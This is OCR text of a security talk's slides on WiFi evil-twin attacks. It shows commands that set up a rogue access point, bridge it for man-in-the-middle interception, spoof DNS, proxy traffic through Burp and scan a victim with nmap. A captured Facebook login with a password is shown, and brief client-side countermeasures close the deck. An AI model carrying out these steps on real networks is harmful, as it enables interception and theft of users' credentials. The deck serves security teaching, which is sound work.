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WiFi Security — A Century Back

“There was a young fellow of Italy, who diddled
the public quite prettily...”

Source :


http://www.theatlantic.com/technology/archive/2011/12/the-great-wireless-hack-of-1903/250665/

WiFi Security — A Century After

A heart defibrillator remotely controlled by a
villainous hacker to trigger a fatal heart attack

Source :


http://www.gao.gov/products/GAO-12-816

Technical Aspects

e To see the invisible..

— Packet sniffer @RACK-NG
— Packet injector -

 “Weapon”ising
— Aircrack-ng Suite
* Developed by Thomas d'Otreppe

— ALFA AWSUSO36H

* Provides 1 wattage
e Can be extended




Life Connected with WiFi

* Hotspots
— Open Authentication
— Central login portal
— Authentication by SMS token
— May have MAC filtering




WiFi Handshake

Who is over there ?

I’'m here

Probe Request

Beacon/Probe Response
ESSID: MyWiFi BSSID: AA:AA:AA:AA:AA:AA
ESSID: MyWiFi BSSID: BB:BB:BB:BB:BB:BB
ESSID : MyWiFi
Authentication Request BSSID : AA:AA:AA:AA:AA:AA
BSSID: AA:AA:AA:AA:AA:AA, Auth Algo, SEQ, Status Code

Authentication Response
BSSID: AA:AA:AA:AA:AA:AA, Auth Algo, SEQ, Status Code

Association Request
BSSID: AA:AA:AA:AA:AA:AA, Privacy info )

Yeah, surely

Association Response
BSSID: AA:AA:AA:AA:AA:AA, Status Code



= Source Destination Protocol Length Info
SESSSSSSSSES st rtoni ~ppre—rorouroe—— oo 2 e S
11943000( Apple 7a:3b:82 Broadcast 802.11 149 Probe Request, SN=2642, FN=0, Flags=........ C, SSID=My
)22671001D-Link 41:f9:72 Apple 7a:3b:82 802.11 383 Probe Response, SN=1458, FN=8, Flags=........ C, BI=1@¢
15835001 Apple 7a:3b:82 D-Link 41:f0:72 802.11 71 Authentication, SN=2643, FN=8, Flags=........ C
| 158466081 Apple 7a:3b:82 (RA) 882.11 40 Acknowledgement, Flags=........ C
[40298081D-Link 41:T0:72 Apple 7a:3b:82 802.11 60 Authentication, SN=1452, FN=8, Flags=........ C
|41697008( Apple 7a:3b:82 D-Link 41:f@:72 g802.11 182 Association Request, SN=2644, FN=8, Flags=........ C, ¢
41715881 Apple 7a:3b:82 (RA) 882.11 40 Acknowledgement, Flags=........ C
|432756001D-Link 41:f9:72 Apple 7a:3b:82 802.11 111 Association Response, SN=1453, FN=8, Flags=........ C
|53452001 Apple 7a:3b:82 (RA) 882.11 40 Acknowledgement, Flags=........ C
321429081 Apple 7a:3b:82 (RA) 882.11 40 Acknowledgement, Flags=........ C
374917001 Apple 7a:3b:82 Fortinet 9c:b2:28 802.11 180 QoS Data, SN=3, FN=08, Flags=.p..... TC
382285001D-Link 41:f9:72 Apple 7a:3b:82 802.11 186 QoS Data, SN=1, FN=@, Flags=.p....F.C

N-1ink 41-fA-72 RAZ 11 54
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EvilTwin

* Replica with radically inverted moralities
e Can be physical or logical




Making EvilTwin with “MyWiFi”

~ * root@bt: ~
File Edit View Terminal Help Forget this Network

root@bt:-# airbase-ng mon® -c 8 --essid "MyWiFi"
16:12:11 Created tap interface at® IP Address
16:12:11 Trying to set MTU on at@ to 1580
16:12:11 _Access Point with BSSID 00:C0:CA:52:5A:F1 started. BootP Static
16:13:18 |Client 70:56:81:7A:3B:82 assoclated (unencrypted) to ESSID: "MyWiFi"
IP Address 169.254.244.208
Subnet Mask 255.255.0.0
Router
DNS

Search Domains

Client ID



Take a close look at real AP

Reset LAN Port DC Power Input



Concept of Bridge

e All mobile devices will be connected to mon0O

* monO will be connected to atO
e atO should be bridged with ethO
 ethO can connect to the internet




Bridging the Interfaces

* root@bt: ~
File Edit View Terminal Help
root@bt:~#|brctl addbr mitm
root@bt:-# Drctl show
bridge name bridge id STP enabled interfaces
mitm 2008, Beapaanaanas no

root@bt:-#|brctl addif mitm até
root@bt:-#|brctl addif mitm eth®

root@bt:~# brctl show Forget this Network
bridge name bridge id STP enabled interfaces
mitm 80008.000c29e0577b no ate

ethe IP Address
root@bt:-#|ifconfig ate 0.0.0.8 up )
root@bt:~#|ifconfig ethe ©.0.0.6 up BootP Static
root@bt:~#|dhclient mitm
Internet Systems Consortium DHCP Client V3.1.3

Copyright 2004-2009 Internet Systems Consortium. IP Address 192.168.152.167
ALl rights reserved. ’ | '
For info, please visit https://www.isc.org/software/dhcp/

Subnet Mask 255.255.255.0
mon@: unknown hardware address type 863
mon8: unknown hardware address type 883 Router 192.168.152.2
Listening on LPF/mitm/00:0c:29:20:57:7b
Sending on  LPF/mitm/00:0c:29:e08:57:7b
Sending on  Socket/fallback LU L
DHCPDISCOVER on mitm to 255.255.255.255 port 67 interval 5
DHCPOFFER of 192.168.152.156 from 192.168.152.254 Search Domains localdomain
DHCPREQUEST of 192.168.152.150 on mitm to 255.255.255.255 port &7
DHCPACK of 192.168.152.150 from 192.168.152.254 _ Client ID
bound to 192.168.152.150 -- renewal in 779 seconds.

root@bt:-#




Eavesdropping

¥ Capturing from mitm [Wireshark 1.8.1 (SVN Rev Unknown from unknown)]
File Edit View Go Capture Analyze Statistics Telephony Tools Intemals Help

Bl el e & . Qe e O EIE R QAP T

—

Filter: v | Expression...

No. Time Source Destination Protocol | Length Info -
35 10.937579001Apple /a:3b:82 Broadcast ARP BO Who has . . . 7 Ie ] . . ||
36 11.1935836801192.168.152. 167 192.168.152.2 DNS 74 Standard query ©xbb3d A gspl.apple.com
37 11.140672001192.168.152.2 192.168.152.167 DNS 177 Standard query response 8xbb3d CMAME gspl.appl
38 11.166975801192.168.152. 167 23.15.10.74 TCP 78 51484 > http [SYN] Seg=0 Win=65535 Len=0 M55=14
39 11.367869001192.168.152. 167 23.15.10.89 TCP 78 51485 > http [SYN] Seg=0 Win=65535 Len=8 MSS5=14
40 11.49673200123.15.108.74 192.168.152. 167 TCP 58 http = 51484 [SYN, ACK] Seq=8 Ack=1 Win=64248 L
41 11.504530001192.168.152. 167 23.15.10.74 TCP 54 51484 = http [ACK] Seg=1 Ack=1 Win=65535 Len=0
42 11.52223908(192.168.152.167 23.15.10.74 HTTP 247 GET /pep/gcc HTTR/1.1
43 11.523228080123.15.10.74 192.168.152.167 TCP 54 http = 51484 [ACK] Seg=1 Ack=194 Win=64240 Len=l
AA 171 TITIDETELLHITT TE 1A OO0 107 T80 157 18T TN EQ h++rn -~ ETA0E r_C‘VHI ArY] Crnm—A Acl—1 Win—EA4A0 1.

3

Frame 42: 247 bytes on wire (1976 bits), 247 bytes captured (1976 bits) on interface @
Ethernet II, Src: Apple 7a:3b:82 (70:56:81:7a8:3b:82), Dst: Vmware f6:49:12 (08:50:56:16:49:12)
Internet Protocol Version 4, Src: 192.168.152.167 (192.168.152.167), Dst: 23.15.10.74 (23.15.10.74)
Transmission Control Protocol, Src Port: 51484 (51484), Dst Port: http (80), Seq: 1, Ack: 1, Len: 193
— Hypertext Transfer Protocol
+ GET /pep/gcc HTTPR/1.1\r\n

Host: gspl.apple.com\r\n

Connection: keep-alive\r\n

Accept-Encoding: gzip, deflate\r\n

User-Agent: Mail/53 CFNetwork/609.1.4 Darwin/13.8.8\r\n
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Network Redirection

e All mobile’s internet access can be redirected
to the attackers’ machine

* root@bt: ~

File Edit View Terminal Help

root@bt:-# dnsspoof -1 mitm

dnsspoof: listening on mitm [udp dst port 53 and not src 192.168.152.158]
192.168.152.167.60652 = 192.168.152.2.53: 45253+ A? www.google.co.in
192.168.152.167.58125 = 192.168.152.2.53: 58584+ A? apple-mobile.query.yahooapis.com
192.168.152.167.62227 > 192.168.152.2.53: 17479+ A? iphone-wu.apple.com
192.168.152.167.51565 > 192.168.152.2.53: 58743+ A? facebook.com

> 192.168.152.2.53: 9927+ A? www.Tacebook.com

192.168.152.167.52071




Challenges

* The attackers” machine is not running abc.com
e Concept of proxy

* Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

Target | Prux:-,-'T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Camparer T Options TAIer‘ts |

[ Intercept T History T Qptions ]

h
L= r‘\\.

(] Burp Proxy uses listeners to receive incoming HTTP requests from wour browser. You will need to configure wour hrowser to
— use one of the listeners as its proxy server.

| Add | | Running Interface Invisible Redirect Certificate
' ' [ *: 80 ] Per-haost
| Edit | ] ¥:443 ] Per-host

[ Remowe |




Proxy interception

10:38 AM
* Burp Suite Free E Welcome to Facebook

Burp Intruder Repeater Window Help
Target T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Camparer T 0]
_[ T History T Options |

Request fo http:/im.facebook com:80 [31.13.68.1]

ebook.com/?ref

[ Forward [ ] Draop | Intercept iz an [ Action

_[ Raw T Params THeaders T Hex |

GET f?refsrc=http%3A%:F&:Fwww.faﬂebook.comﬁiF&_rdr HTTE/1.1

Host: m. facebook.com

Accept-Encoding: gzip, deflate

Aecept: text/html, application/xhtml+xml, application/®ml;q=0.9,*/*;¢=0.8
Cookie: datr=TH7UUJOAanm OgpXLFmusBts
Aocept-Lancuage: =n-ghb

Connection: keep-alive

Cache-Control: max-age=0

Uzser—-Agent: Mozilla/5.0 (iFod; CPU iPhones O3 E_
like Gecko) Version/6.0 Mobile/l0B329 Safari/a8s5

1 3 like Mac 03 K] Applel=
36.25




Information Stealing

iPod 2 3 10:39 AM

Burp Iptrud

lad=AVpeGGgzacharser TesC=sE %O Y ACY SCRCoYBAS IO ESNBIY ACKSCYCINBASCCRECS BOYEYCCx DO E4% 2CDO%E
jeversion=leajaxk=Llevidch=30&pxe=l egps=Llem ta=LlIE8717635&Li=tTukUYTCmPGY Ciefk)JILEBCEsignup la
yout=layoutk7C lower subdued buttonsy7CETCe btnkTCapecials TCETCl btnt TCconfirme 7CH TCaignupinatry
TCETCLogininscr s TCY 708y TCoreate¥ 7O 7C launched_JanSgemal l=sancopthomasipass=chislsnotmnypassvor

delogin=Log+in

0 matches

m. facebook.com

er: http:_#'_-*'m.face]mnk.cnmf’?refsrc=htt13'sSAEZF%EerﬂI.facelmnk.cnm*s:F&_rclr [
text/html, application/xhtml+xml, application/®xml;q=0.9, */*;q=0.8

ConteNc-Type: application/x-www-form-urlencodesd

Aocept\Language: en-gb

hocept-Encoding: gzip, deflate 0000000000000 000080

Origin: \attp://m. facebook.com

Cookie: 1y £ts=13E9717EEB5;

reg fh_ga\e=http%3IAsZF%IFm. facebook.comsZF53Frefsres3Dheeps 253 A%Z52F5252Fwww. facehook. coms2Z52F

sanoopthomas

reg fh ref\ittps3A%IF52Fm. facebook. coms2F53Frefsres3Dheeps 253 A%252F5252Fwww. facebook. coms252F; LOg in
datr=7H7UTNCAanm QgpXLEmuesSts

Content-Lenggh: 320

Connection: ep-—alive

User—Agent: MAzilla/5.0 (iPod; CPU iPhone 0OS E_1 3 like Mac 05 X) AppleWebKit/536.268 (EHTML,

like Gecko) Vedsion/&€.0 Mohile/lOB329 Safari/853€.25

lsd=AVpEGGyzecharset _test=%EI%82%ACSICSCI%EB45ICSEZSBISACSICSCI%BA5ZCSEESB0%E452C5D0%594%2C5D0%E Create New Account
deversion=léajax=lewidth=320&pxr=C_&gps=1lem ts=136971TEB5&11=tTukUTTCwPGV CiefkjJIfBtesignup la
yout=layout%7Clower_ subdusd button$7C%7Cs_btns7CspecialsTCsT7C1_btn%7Cconfirms 7C5TCsignupinscrs

TC%7Clogininstrs7C%7Csts7Cocreates7C a =

$7C%7Claunched JanS&email=sancopthomas&pass=thisisnotmypasswor I
- | ]

d&login=Log+in

SSjesjesjen) - =




Further Attacks on Mobile Devices

% root@bt: ~
File Edit View Terminal Help
root@bt:-# nmap 192.168.152.167 -A 4

Starting Nmap 6.01 ( http://nmap.org ) at 2013-85-27 16:33 IST
Nmap scan report for 192.168.152.167
Host is up (0.0088s latency).
n: 999 closed ports
PORT STATE SERVICE VERSION
620878/tcp open tcpwrapped

ress.: . . . . .
Device type: media device|phone
Running: Apple i05 4.X|5.X
05 CPE: cpe:/o:apple:iphone os:4 cpe:/o:apple:iphone o0s:5
0S details: Apple i0S 4.4.2 - 5.8.1 (Darwin 11.8.8)
Network Distance: 1 hop

nknown)

TRACEROUTE
HOP RTT ADDRESS
1 8.02 ms 192.168.152.167

0S and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ . L

Nmap done: 1 IP address (1 host up) scanned in 39.31 seconds [ﬂ




Countermeasures

* We are talking about Client Side protection

* Keep a constant check on the saved WiFi
profiles

* Verify WiFi Profiles with “autoconnect” enable

 Make sure the mobile devices are updated
with security patches




Thanks




